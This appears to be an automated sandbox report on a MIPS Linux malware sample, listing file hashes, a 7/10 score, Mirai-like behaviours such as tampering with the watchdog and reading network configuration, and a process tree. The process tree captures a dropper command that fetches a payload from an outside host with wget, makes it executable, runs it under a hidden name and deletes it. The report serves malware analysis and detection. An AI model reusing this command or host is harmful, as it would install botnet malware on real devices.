Overview

overview

10

Static

static

10

b93e12c3b0...fe.elf

debian-9-mips

7

Analysis

  • max time kernel
    145s
  • max time network
    133s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20231222-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20231222-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    20/02/2024, 05:57

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General

  • Target

    b93e12c3b04ce268766dcfb0ec916a7b28a3608773f378d07ab0184e7d6e2afe.elf

  • Size

    155KB

  • MD5

    8fdf47500c9dee0824a4e42cbca73109

  • SHA1

    fa3a71afd0a3425b32d36dfe660e6d40f6e89f9d

  • SHA256

    b93e12c3b04ce268766dcfb0ec916a7b28a3608773f378d07ab0184e7d6e2afe

  • SHA512

    e56d72f0c744126b40760ce450f950211872f2394bd84b987e5f28f3cbffa0f36c6e4bd981dd87520f00e4879ad6c6bc5ff81de9fbcb2486bbbead275f2ba48d

  • SSDEEP

    3072:B7esBFP23rWfOB7ZOOyGkWKmrThPaLEne7rNb:1euCloGkrmrThPaLEne7rNb

Score
7/10

Malware Config

Signatures

  • Changes its process name 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Reads system routing table 1 TTPs 1 IoCs

    Gets active network interfaces from /proc virtual filesystem.

  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/b93e12c3b04ce268766dcfb0ec916a7b28a3608773f378d07ab0184e7d6e2afe.elf
    /tmp/b93e12c3b04ce268766dcfb0ec916a7b28a3608773f378d07ab0184e7d6e2afe.elf
    1⤵
    • Changes its process name
    • Reads system routing table
    • Reads system network configuration
    PID:721
    • /bin/sh
      /bin/sh -c "wget -q http://gay.energy/.../vivid -O .....;chmod 777 .....;./.....;rm -rf ....."
      2⤵
        PID:722
        • /usr/bin/wget
          wget -q http://gay.energy/.../vivid -O .....
          3⤵
          • Writes file to tmp directory
          PID:726
        • /bin/chmod
          chmod 777 .....
          3⤵
            PID:752
          • /tmp/.....
            ./.....
            3⤵
            • Executes dropped EXE
            PID:753
          • /bin/sh
            /bin/sh ./.....
            3⤵
              PID:753
            • /bin/rm
              rm -rf .....
              3⤵
                PID:756

          Network

                MITRE ATT&CK Enterprise v15

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